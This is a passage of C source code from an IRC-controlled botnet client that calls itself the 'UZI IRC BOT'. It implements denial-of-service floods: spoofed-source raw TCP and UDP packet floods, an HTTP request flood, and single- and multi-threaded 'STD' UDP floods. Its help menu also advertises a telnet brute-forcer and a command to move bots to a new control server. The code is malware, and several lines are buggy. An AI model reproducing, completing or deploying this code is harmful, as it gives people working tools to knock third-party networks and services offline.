  644. struct pseudo_header {
  645.     unsigned int source_address;
  646.     unsigned int dest_address;
  647.     unsigned char pVageholder;
  648.     unsigned char protocol;
  649.     unsigned short tcp_length;
  650.     struct tcphdr tcp;
  651.     char buf[20];
  652. };
  653. unsigned int host2ip(char *sender,char *hostname) {
  654.         static struct in_addr i;
  655.         struct hostent *h;
  656.         if((i.s_addr = inet_addr(hostname)) == -1) {
  657.                 if((h = gethostbyname(hostname)) == NULL) {
  658.                         Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  659.                         exit(0);
  660.                 }
  661.                 bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  662.         }
  663.         return i.s_addr;
  664. }
  665. in_addr_t getRandomIP(in_addr_t netmask)
  666. {
  667.         in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  668.         return tmp ^ ( rand_cmwc() & ~netmask);
  669. }
  670. unsigned short csum (unsigned short *buf, int count)
  671. {
  672.         register uint64_t sum = 0;
  673.         while( count > 1 ) { sum += *buf++; count -= 2; }
  674.         if(count > 0) { sum += *(unsigned char *)buf; }
  675.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  676.         return (uint16_t)(~sum);
  677. }
  678. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  679. {
  680.  
  681.         struct tcp_pseudo
  682.         {
  683.                 unsigned long src_addr;
  684.                 unsigned long dst_addr;
  685.                 unsigned char zero;
  686.                 unsigned char proto;
  687.                 unsigned short length;
  688.         } pseudohead;
  689.         unsigned short total_len = iph->tot_len;
  690.         pseudohead.src_addr=iph->saddr;
  691.         pseudohead.dst_addr=iph->daddr;
  692.         pseudohead.zero=0;
  693.         pseudohead.proto=IPPROTO_TCP;
  694.         pseudohead.length=htons(sizeof(struct tcphdr));
  695.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  696.         unsigned short *tcp = malloc(totaltcp_len);
  697.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  698.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  699.         unsigned short output = csum(tcp,totaltcp_len);
  700.         free(tcp);
  701.         return output;
  702. }
  703. int getHost(unsigned char *toGet, struct in_addr *i)
  704. {
  705.         struct hostent *h;
  706.         if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  707.         return 0;
  708. }
  709. static void printchar(unsigned char **str, int c) {
  710.         if (str) {
  711.                 **str = c;
  712.                 ++(*str);
  713.         }
  714.         else (void)write(1, &c, 1);
  715. }
  716. static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {
  717.         register int pc = 0, padchar = ' ';
  718.         if (width > 0) {
  719.                 register int len = 0;
  720.                 register const unsigned char *ptr;
  721.                 for (ptr = string; *ptr; ++ptr) ++len;
  722.                 if (len >= width) width = 0;
  723.                 else width -= len;
  724.                 if (pad & PAD_ZERO) padchar = '0';
  725.         }
  726.         if (!(pad & PAD_RIGHT)) {
  727.                 for ( ; width > 0; --width) {
  728.                         printchar (out, padchar);
  729.                         ++pc;
  730.                 }
  731.         }
  732.         for ( ; *string ; ++string) {
  733.                 printchar (out, *string);
  734.                 ++pc;
  735.         }
  736.         for ( ; width > 0; --width) {
  737.                 printchar (out, padchar);
  738.                 ++pc;
  739.         }
  740.         return pc;
  741. }
  742. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) {
  743.         unsigned char print_buf[PRINT_BUF_LEN];
  744.         register unsigned char *s;
  745.         register int t, neg = 0, pc = 0;
  746.         register unsigned int u = i;
  747.         if (i == 0) {
  748.                 print_buf[0] = '0';
  749.                 print_buf[1] = '\0';
  750.                 return prints (out, print_buf, width, pad);
  751.         }
  752.         if (sg && b == 10 && i < 0) {
  753.                 neg = 1;
  754.                 u = -i;
  755.         }
  756.  
  757.         s = print_buf + PRINT_BUF_LEN-1;
  758.         *s = '\0';
  759.         while (u) {
  760.                 t = u % b;
  761.                 if( t >= 10 )
  762.                 t += letbase - '0' - 10;
  763.                 *--s = t + '0';
  764.                 u /= b;
  765.         }
  766.         if (neg) {
  767.                 if( width && (pad & PAD_ZERO) ) {
  768.                         printchar (out, '-');
  769.                         ++pc;
  770.                         --width;
  771.                 }
  772.                 else {
  773.                         *--s = '-';
  774.                 }
  775.         }
  776.  
  777.         return pc + prints (out, s, width, pad);
  778. }
  779. static int print(unsigned char **out, const unsigned char *format, va_list args ) {
  780.         register int width, pad;
  781.         register int pc = 0;
  782.         unsigned char scr[2];
  783.         for (; *format != 0; ++format) {
  784.                 if (*format == '%') {
  785.                         ++format;
  786.                         width = pad = 0;
  787.                         if (*format == '\0') break;
  788.                         if (*format == '%') goto out;
  789.                         if (*format == '-') {
  790.                                 ++format;
  791.                                 pad = PAD_RIGHT;
  792.                         }
  793.                         while (*format == '0') {
  794.                                 ++format;
  795.                                 pad |= PAD_ZERO;
  796.                         }
  797.                         for ( ; *format >= '0' && *format <= '9'; ++format) {
  798.                                 width *= 10;
  799.                                 width += *format - '0';
  800.                         }
  801.                         if( *format == 's' ) {
  802.                                 register char *s = (char *)va_arg( args, int );
  803.                                 pc += prints (out, s?s:"(null)", width, pad);
  804.                                 continue;
  805.                         }
  806.                         if( *format == 'd' ) {
  807.                                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  808.                                 continue;
  809.                         }
  810.                         if( *format == 'x' ) {
  811.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  812.                                 continue;
  813.                         }
  814.                         if( *format == 'X' ) {
  815.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  816.                                 continue;
  817.                         }
  818.                         if( *format == 'u' ) {
  819.                                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  820.                                 continue;
  821.                         }
  822.                         if( *format == 'c' ) {
  823.                                 scr[0] = (unsigned char)va_arg( args, int );
  824.                                 scr[1] = '\0';
  825.                                 pc += prints (out, scr, width, pad);
  826.                                 continue;
  827.                         }
  828.                 }
  829.                 else {
  830. out:
  831.                         printchar (out, *format);
  832.                         ++pc;
  833.                 }
  834.         }
  835.         if (out) **out = '\0';
  836.         va_end( args );
  837.         return pc;
  838. }
  839.  
  840. int szprintf(unsigned char *out, const unsigned char *format, ...) {
  841.         va_list args;
  842.         va_start( args, format );
  843.         return print( &out, format, args );
  844. }
  845.  
  846. in_addr_t getRandomPublicIP() { // IP Block, Written by ZH
  847.         static uint8_t ipState[4] = {0};
  848.         ipState[0] = rand() % 224;
  849.         ipState[1] = rand() % 255;
  850.         ipState[2] = rand() % 255;
  851.         ipState[3] = rand() % 255;
  852.         while(
  853.                 (ipState[0] == 0) ||
  854.                 (ipState[0] == 10) ||
  855.                 (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  856.                 (ipState[0] == 127) ||
  857.                 (ipState[0] == 169 && ipState[1] == 254) ||
  858.                 (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  859.                 (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  860.                 (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  861.                 (ipState[0] == 192 && ipState[1] == 168) ||
  862.                 (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  863.                 (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  864.                 (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  865.                 (ipState[0] >= 224)
  866.         )
  867.         {
  868.                 ipState[0] = rand() % 224;
  869.                 ipState[1] = rand() % 255;
  870.                 ipState[2] = rand() % 255;
  871.                 ipState[3] = rand() % 255;
  872.         }
  873.         char ip[16] = {0};
  874.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  875.         return inet_addr(ip);
  876. }
  877. void sendTCP(int sock, char *sender, int argc, char **argv)
  878. {
  879.     if (mfork(sender) != 0) return;
  880.     if (argc < 7) {
  881.        Send(sock,"PRIVMSG %s :7[QTCP] <target> <port> <secs> <netmask> <flags> <packetsize> <time poll interval> \n",chan);
  882.        exit(1);
  883.     }
  884.     if (atoi(argv[3]) > maxtime)
  885.     {
  886.         Send(sock,"PRIVMSG %s :7[TCP] - Invalid time, Max boot time is [%d]!\n",chan, maxtime);
  887.         exit(1);
  888.     }
  889.     if (atoi(argv[6]) > maxSTDpacketsize)
  890.     {
  891.         Send(sock,"PRIVMSG %s :7[TCP] - Invalid time, Max packetsize is [%d]!\n",chan, maxSTDpacketsize);
  892.         exit(1);
  893.     }
  894.    
  895.     char *target = argv[1], *flags = argv[5];
  896.     int port = atoi(argv[2]), timeEnd = atoi(argv[3]), spoofit = atoi(argv[4]), packetsize = atoi(argv[6]), pollinterval = atoi(argv[7]);
  897.  
  898.     register unsigned int pollRegister;
  899.     pollRegister = pollinterval;
  900.  
  901.     struct sockaddr_in dest_addr;
  902.  
  903.     dest_addr.sin_family = AF_INET;
  904.     if(port == 0) dest_addr.sin_port = rand_cmwc();
  905.     else dest_addr.sin_port = htons(port);
  906.     if(getHost(target, &dest_addr.sin_addr)) return;
  907.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  908.  
  909.     int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  910.     if(!sockfd)
  911.     {
  912.         Send(sock,"PRIVMSG %s :7Failed opening raw socket.\n",chan);
  913.         return;
  914.     }
  915.  
  916.     int tmp = 1;
  917.     if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  918.     {
  919.         Send(sock,"PRIVMSG %s :7Failed setting raw headers mode.\n",chan);
  920.         return;
  921.     }
  922.  
  923.     in_addr_t netmask;
  924.  
  925.     if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  926.     else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  927.  
  928.     unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  929.     struct iphdr *iph = (struct iphdr *)packet;
  930.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  931.  
  932.     makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  933.  
  934.     tcph->source = rand_cmwc();
  935.     tcph->seq = rand_cmwc();
  936.     tcph->ack_seq = 0;
  937.     tcph->doff = 5;
  938.  
  939.     if(!strcmp(flags, "all"))
  940.     {
  941.         tcph->syn = 1;
  942.         tcph->rst = 1;
  943.         tcph->fin = 1;
  944.         tcph->ack = 1;
  945.         tcph->psh = 1;
  946.     } else {
  947.         unsigned char *pch = strtok(flags, ",");
  948.         while(pch)
  949.         {
  950.             if(!strcmp(pch, "syn"))
  951.             {
  952.                 tcph->syn = 1;
  953.             } else if(!strcmp(pch,  "rst"))
  954.             {
  955.                 tcph->rst = 1;
  956.             } else if(!strcmp(pch,  "fin"))
  957.             {
  958.                 tcph->fin = 1;
  959.             } else if(!strcmp(pch,  "ack"))
  960.             {
  961.                 tcph->ack = 1;
  962.             } else if(!strcmp(pch,  "psh"))
  963.             {
  964.                 tcph->psh = 1;
  965.             } else {
  966.                 Send(sock, "PRIVMSG %s :7Invalid flag [%s]\n", chan, pch);
  967.             }
  968.             pch = strtok(NULL, ",");
  969.             }
  970.     }
  971.  
  972.     tcph->window = rand_cmwc();
  973.     tcph->check = 0;
  974.     tcph->urg_ptr = 0;
  975.     tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  976.     tcph->check = tcpcsum(iph, tcph);
  977.  
  978.     iph->check = csum ((unsigned short *) packet, iph->tot_len);
  979.  
  980.     int end = time(NULL) + timeEnd;
  981.     register unsigned int i = 0;
  982.  
  983.     Send(sock,"PRIVMSG %s :7[TCP] packeting [%s].\n",chan,argv[1]);
  984.  
  985.     while(1)
  986.     {
  987.         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  988.  
  989.         iph->saddr = htonl( getRandomIP(netmask) );
  990.         iph->id = rand_cmwc();
  991.         tcph->seq = rand_cmwc();
  992.         tcph->source = rand_cmwc();
  993.         tcph->check = 0;
  994.         tcph->check = tcpcsum(iph, tcph);
  995.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  996.  
  997.         if(i == pollRegister)
  998.         {
  999.             if(time(NULL) > end) break;
  1000.                 i = 0;
  1001.                 continue;
  1002.             }
  1003.             i++;
  1004.     }
  1005.     Send(sock,"PRIVMSG %s :7[TCP] flood against [%s] finished.\n",chan,argv[1]);
  1006. }
  1007. int socket_connect(char *host, unsigned short int port) {
  1008.     struct hostent *hp;
  1009.     struct sockaddr_in addr;
  1010.     int on = 1, sock;    
  1011.     if ((hp = gethostbyname(host)) == NULL) return 0;
  1012.     bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1013.     addr.sin_port = htons(port);
  1014.     addr.sin_family = AF_INET;
  1015.     sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1016.     setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1017.     if (sock == -1) return 0;
  1018.     if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
  1019.     return sock;
  1020. }
  1021.  
  1022. void SendHTTP(char *method, char *host, unsigned short int port, char *path, int timeEnd, int power) {
  1023.     int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
  1024.     char request[512], buffer[1];
  1025.     for (i = 0; i < power; i++) {
  1026.         if (fork()) {
  1027.             while (end > time(NULL)) {
  1028.                 sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, UserAgents[(rand() % 170)]);
  1029.                 socket = socket_connect(host, port);
  1030.                 if (socket != 0) {
  1031.                     write(socket, request, strlen(request));
  1032.                     read(socket, buffer, 1);
  1033.                     close(socket);
  1034.                 }
  1035.             }
  1036.             exit(0);
  1037.         }
  1038.     }
  1039. }
  1040.  
  1041. void *HTTP(int sock, char *sender, int argc, char **argv) {
  1042.    
  1043.     // !* HTTP METHOD TARGET PORT PATH TIME POWER
  1044.     // !* HTTP GET hackforums.net 80 / 10 100
  1045.     if (mfork(sender) != 0) return;
  1046.     if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) {
  1047.         Send(sock, "NOTICE %s :7[HTTPFLOOD] <method> <target> <port> <path> <time> <power> ~ SMALL HTTPFLOOD WRITTEN BY ZH.\n", sender);
  1048.         return;
  1049.     }
  1050.     SendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
  1051.     exit(0);
  1052.    
  1053. }
  1054. void rawUDP(int sock, char *sender, int argc, char **argv) {
  1055.     int flag=1,fd,i;
  1056.     unsigned long secs;
  1057.     char *buf=(char*)malloc(65500);
  1058.     struct hostent *hp;
  1059.     struct sockaddr_in in;
  1060.         time_t start=time(NULL);
  1061.         if (mfork(sender) != 0) return;
  1062.     if (argc < 2) {
  1063.                    
  1064.                 exit(1);
  1065.         }
  1066.         if (atoi(argv[2]) > maxtime)
  1067.         {
  1068.             Send(sock,"PRIVMSG %s :7[RAWUDP] - Invalid time, Max boot time is %d!\n",chan, maxtime);
  1069.             exit(1);
  1070.         }
  1071.         secs=atol(argv[2]);
  1072.     memset((void*)&in,0,sizeof(struct sockaddr_in));
  1073.     in.sin_addr.s_addr=host2ip(sender,argv[1]);
  1074.     in.sin_family = AF_INET;
  1075.         Send(sock,"PRIVMSG %s :7Packeting %s With RAWUDP.\n",chan,argv[1]);
  1076.     while(1) {
  1077.         in.sin_port = rand();
  1078.         if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  1079.         else {
  1080.             flag=1;
  1081.             ioctl(fd,FIONBIO,&flag);
  1082.             sendto(fd,buf,65500,0,(struct sockaddr*)&in,sizeof(in));
  1083.             close(fd);
  1084.         }
  1085.                 if (i >= 50) {
  1086.                         if (time(NULL) >= start+secs)
  1087.                         {
  1088.                             break;
  1089.                         }
  1090.                         i=0;
  1091.                 }
  1092.                 i++;
  1093.     }
  1094.         close(fd);
  1095.     exit(0);
  1096. }
  1097. void move(int sock, char *sender, int argc, char **argv) {
  1098.         if (argc < 1) {
  1099.                 Send(sock,"PRIVMSG %s :7POINT <server>\n",chan);
  1100.                 exit(1);
  1101.         }
  1102.     server=strdup(argv[1]);
  1103.     changeservers=1;
  1104.     close(sock);
  1105. }
  1106. void help(int sock, char *sender, int argc, char **argv) {
  1107.         if (mfork(sender) != 0) return;
  1108.         Send(sock,"PRIVMSG %s :7[UZI] - UZI IRC BOT HELP LIST ~WRITTEN BY ZH\n",chan);
  1109.         Send(sock,"PRIVMSG %s :7[UZI] - QUDP <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)> ~QUDP QBOT ATTACK\n",chan); sleep(0.2);
  1110.         Send(sock,"PRIVMSG %s :7[UZI] - RUDP <target> <secs> ~RAW UDP ATTACK \n",chan); sleep(0.2);
  1111.         Send(sock,"PRIVMSG %s :7[UZI] - QJUNK <target> <port> <secs> ~QJUNK QBOT ATTACK \n",chan); sleep(0.2);
  1112.         Send(sock,"PRIVMSG %s :7[UZI] - QHOLD <target> <port> <secs> ~QHOLD QBOT ATTACK \n",chan); sleep(0.2);
  1113.         Send(sock,"PRIVMSG %s :7[UZI] - QTCP <target> <port> <secs> <netmask> <flags> <packetsize> <time poll interval> ~QTCP QBOT ATTACK\n",chan); sleep(0.2);
  1114.         Send(sock,"PRIVMSG %s :7[UZI] - TSTD <target> <port> <secs> <packet size(1-%d)> <string(RANDOM for makestring)> <threads (1-%d)> ~THREADED STD ATTACK WRITTEN BY ZH\n\n",chan, maxSTDpacketsize, maxthreads); sleep(0.2);
  1115.         Send(sock,"PRIVMSG %s :7[UZI] - STD <target> <port> <secs> <packet size (1-%d)> <string(RANDOM for makestring)> ~STD ATTACK\n",chan, maxSTDpacketsize); sleep(0.2);
  1116.         Send(sock,"PRIVMSG %s :7[UZI] - HTTPFLOOD <method> <target> <port> <path> <time> <power> ~SMALL HTTPFLOOD WRITTEN BY ZH.\n",chan); sleep(0.2);
  1117.         Send(sock,"PRIVMSG %s :7[UZI] - UZIBRUTE <ON/OFF> ~EXTREME TELNET BRUTER WRITTEN BY ZH\n",chan); sleep(0.2);
  1118.         Send(sock,"PRIVMSG %s :7[UZI] - KILLALL\n",chan); sleep(0.2);
  1119.         Send(sock,"PRIVMSG %s :7[UZI] - HELP\n",chan);
  1120.         exit(0);
  1121. }
  1122. void regstd(int sock, char *sender, int argc, char **argv)
  1123. {
  1124.     if (mfork(sender) != 0) return;
  1125.     if (argc < 5) {
  1126.    
  1127.         Send(sock,"PRIVMSG %s :7[STD] <target> <port> <secs> <packet size(1-%d)> <string(RANDOM for makestring)>\n",chan, maxSTDpacketsize);
  1128.         exit(1);
  1129.        
  1130.     }
  1131.     if (atoi(argv[3]) > maxtime)
  1132.     {
  1133.         Send(sock,"PRIVMSG %s :7[STD] - Invalid time, Max boot time is %d!\n",chan, maxtime);
  1134.         exit(1);
  1135.     }
  1136.     if (atoi(argv[4]) > maxSTDpacketsize)
  1137.     {
  1138.         Send(sock,"PRIVMSG %s :7[STD] - Invalid time, Max packetsize is %d!\n",chan, maxSTDpacketsize);
  1139.         exit(1);
  1140.     }
  1141.     else {
  1142.         setpacketsize = atoi(argv[4]);
  1143.     }
  1144.     unsigned long secs;
  1145.  
  1146.     int iSTD_Sock;
  1147.  
  1148.     iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1149.  
  1150.     time_t start = time(NULL);
  1151.     secs = atol(argv[3]);
  1152.     if (mfork(sender) != 0) return;
  1153.     if(argv[5] = "RANDOM")
  1154.     {
  1155.         char *chokemedaddy = makestring();
  1156.         strng2 = chokemedaddy;
  1157.     }
  1158.     else
  1159.     {
  1160.         char *lolomgursobig = argv[5];
  1161.         strng2 = lolomgursobig;
  1162.     }
  1163.     Send(sock,"PRIVMSG %s :7[STD]Hitting %s!\n",chan, argv[1]);
  1164.     Send(sock,"PRIVMSG %s :7[STD]Packet Size: %d\n",chan, setpacketsize);
  1165.     Send(sock,"PRIVMSG %s :7[STD]String: %s\n",chan, strng2);
  1166.  
  1167.     struct sockaddr_in sin;
  1168.  
  1169.     struct hostent *hp;
  1170.  
  1171.     hp = gethostbyname(argv[1]);
  1172.  
  1173.     bzero((char*) &sin,sizeof(sin));
  1174.     bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1175.     sin.sin_family = hp->h_addrtype;
  1176.     sin.sin_port = atol(argv[2]);
  1177.  
  1178.     unsigned int a = 0;
  1179.  
  1180.     while(1){
  1181.         if (a >= 50)
  1182.         {
  1183.             send(iSTD_Sock, strng2, argv[4], 0);
  1184.             connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1185.             if (time(NULL) >= start + secs)
  1186.             {
  1187.                 Send(sock, "PRIVMSG %s :7[STD]Done hitting %s!\n", chan, argv[1]);
  1188.                 close(iSTD_Sock);
  1189.                 exit(0);
  1190.             }
  1191.             a = 0;
  1192.         }
  1193.         a++;
  1194.     }
  1195.    
  1196.  
  1197. }
  1198.  
  1199. void *std_worker(void *args){
  1200.     struct thread_args *t_args = (struct thread_args *)args;
  1201.     connect(t_args->iSTD_Sock,(struct sockaddr *) t_args->sin, sizeof(struct sockaddr));
  1202.     unsigned int i = 0;
  1203.     while (1){
  1204.         send(t_args->iSTD_Sock, strng, setpacketsize, 0);
  1205.         //usleep(3);
  1206.     }
  1207. }
  1208.  
  1209. void threadstd(int sock, char *sender, int argc, char **argv) {
  1210.     if (mfork(sender) != 0) return;
  1211.     if (argc < 6) {
  1212.             Send(sock,"PRIVMSG %s :7[THREADSTD] <target> <port> <secs> <packet size(1-%d)> <string(RANDOM for makestring)> <threads (1-%d)>\n",chan, maxSTDpacketsize, maxthreads);
  1213.             exit(1);
  1214.     }
  1215.     if (atoi(argv[3]) > maxtime)
  1216.     {
  1217.         Send(sock,"PRIVMSG %s :7[THREADSTD] - Invalid time, Max boot time is %d!\n",chan, maxtime);
  1218.         exit(1);
  1219.     }
  1220.     if (atoi(argv[4]) > maxSTDpacketsize)
  1221.     {
  1222.         Send(sock,"PRIVMSG %s :7[THREADSTD] - Invalid packetsize, Max packetsize is %d!\n",chan, maxSTDpacketsize);
  1223.         exit(1);
  1224.     }
  1225.     else {
  1226.         setpacketsize = atoi(argv[4]);
  1227.     }
  1228.     if (atoi(argv[6]) > maxthreads)
  1229.     {
  1230.         Send(sock,"PRIVMSG %s :7[THREADSTD] - Invalid threads, Max amount of threads allowed is %d!\n",chan, maxthreads);
  1231.         exit(1);
  1232.     }
  1233.     else {
  1234.         threadamount = atoi(argv[6]);
  1235.     }
  1236.  
  1237.     unsigned long secs;
  1238.  
  1239.     int iSTD_Sock;
  1240.  
  1241.     iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1242.  
  1243.     time_t start = time(NULL);
  1244.     secs = atol(argv[3]);
  1245.     if (mfork(sender) != 0) return;
  1246.     if(argv[5] = "RANDOM")
  1247.     {
  1248.         char *spankmedaddy = makestring();
  1249.         strng = spankmedaddy;
  1250.     }
  1251.     else
  1252.     {
  1253.         char *wooowdaddy = argv[5];
  1254.         strng = wooowdaddy;
  1255.     }
  1256.     Send(sock,"PRIVMSG %s :7[THREADSTD] Railing %s!\n",chan,argv[1]);
  1257.     Send(sock,"PRIVMSG %s :7[THREADSTD] Packet Size: %d\n",chan, setpacketsize);
  1258.     Send(sock,"PRIVMSG %s :7[THREADSTD] String: %s\n",chan, strng);
  1259.     Send(sock,"PRIVMSG %s :7[THREADSTD] Threads: %d\n",chan, threadamount);
  1260.  
  1261.     struct sockaddr_in sin;
  1262.  
  1263.     struct hostent *hp;
  1264.  
  1265.     hp = gethostbyname(argv[1]);
  1266.  
  1267.     bzero((char*) &sin,sizeof(sin));
  1268.     bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1269.     sin.sin_family = hp->h_addrtype;
  1270.     sin.sin_port = atol(argv[2]);
  1271.  
  1272.     unsigned int i;
  1273.     pthread_t thread_arr[atoi(argv[6])];
  1274.     struct thread_args t_args;
  1275.     t_args.iSTD_Sock = iSTD_Sock;
  1276.     t_args.sin = &sin;
  1277.     for (i = 0; i < atoi(argv[6]); i++){
  1278.     pthread_create(&thread_arr[i], NULL, std_worker, &t_args);
  1279.     }
  1280.     while(1){
  1281.     if (time(NULL) >= start + secs){
  1282.         Send(sock, "PRIVMSG %s :7Packeted[%s]\n", chan, argv[1]);
  1283.         close(iSTD_Sock);
  1284.         exit(0);
  1285.     }
  1286.     }
  1287. }
  1288.  
  1289. int listFork()
  1290. {
  1291.         uint32_t parent, *newpids, i;
  1292.         parent = fork();
  1293.         if (parent <= 0) return parent;
  1294.         numpids++;
  1295.         newpids = (uint32_t*)malloc((numpids + 1) * 4);
  1296.         for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  1297.         newpids[numpids - 1] = parent;
  1298.         free(pids);
  1299.         pids = newpids;
  1300.         return parent;
  1301. }
  1302.  
  1303. void init_rand(uint32_t x)
  1304. {
  1305.         int i;
  1306.  
  1307.         Q[0] = x;
  1308.         Q[1] = x + PHI;
  1309.         Q[2] = x + PHI + PHI;
  1310.  
  1311.         for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  1312. }
  1313.  
  1314. void makeRandomStr(unsigned char *buf, int length)
  1315. {
  1316.         int i = 0;
  1317.         for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  1318. }
  1319.  
  1320. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval, int sleepcheck, int sleeptime)
  1321. {
  1322.         struct sockaddr_in dest_addr;
  1323.  
  1324.         dest_addr.sin_family = AF_INET;
  1325.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1326.         else dest_addr.sin_port = htons(port);
  1327.         if(getHost(target, &dest_addr.sin_addr)) return;
  1328.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1329.  
  1330.         register unsigned int pollRegister;
  1331.         pollRegister = pollinterval;
  1332.  
  1333.         int sock;
  1334.         char *sender;
  1335.        
  1336.         if(spoofit == 32)
  1337.         {
  1338.                 int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1339.                 if(!sockfd)
  1340.                 {
  1341.                         Send(sock,"PRIVMSG %s :7Failed opening raw socket.\n",chan);
  1342.                         return;
  1343.                 }
  1344.  
  1345.                 unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1346.                 if(buf == NULL) return;
  1347.                 memset(buf, 0, packetsize + 1);
  1348.                 makeRandomStr(buf, packetsize);
  1349.  
  1350.                 int end = time(NULL) + timeEnd;
  1351.                 register unsigned int i = 0;
  1352.                 register unsigned int ii = 0;
  1353.                 int argc;
  1354.                 char **argv;
  1355.                 Send(sock,"PRIVMSG %s :7[QUDP] Flooding [%s:%s] (%s Secs)\n",chan, argv[1], atoi(argv[2]), atoi(argv[3]));
  1356.                 while(1)
  1357.                 {
  1358.                         sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1359.  
  1360.                         if(i == pollRegister)
  1361.                         {
  1362.                                 if(port == 0) dest_addr.sin_port = rand_cmwc();
  1363.                                 if(time(NULL) > end) break;
  1364.                                 i = 0;
  1365.                                 continue;
  1366.                         }
  1367.                         i++;
  1368.                         if(ii == sleepcheck)
  1369.                         {
  1370.                             usleep(sleeptime*1000);
  1371.                             ii = 0;
  1372.                             continue;
  1373.                         }
  1374.                         ii++;
  1375.                 }
  1376.         } else {
  1377.                 int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1378.                 if(!sockfd)
  1379.                 {
  1380.                         Send(sock,"PRIVMSG %s :7Failed opening raw socket.\n",chan);
  1381.                         return;
  1382.                 }
  1383.  
  1384.                 int tmp = 1;
  1385.                 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1386.                 {
  1387.                         Send(sock,"PRIVMSG %s :7Failed setting raw headers mode.\n",chan);
  1388.                         return;
  1389.                 }
  1390.  
  1391.                 int counter = 50;
  1392.                 while(counter--)
  1393.                 {
  1394.                         srand(time(NULL) ^ rand_cmwc());
  1395.                         init_rand(rand());
  1396.                 }
  1397.  
  1398.                 in_addr_t netmask;
  1399.  
  1400.                 if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1401.                 else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1402.  
  1403.                 unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1404.                 struct iphdr *iph = (struct iphdr *)packet;
  1405.                 struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1406.  
  1407.                 makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1408.  
  1409.                 udph->len = htons(sizeof(struct udphdr) + packetsize);
  1410.                 udph->source = rand_cmwc();
  1411.                 udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1412.                 udph->check = 0;
  1413.  
  1414.                 makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1415.  
  1416.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1417.  
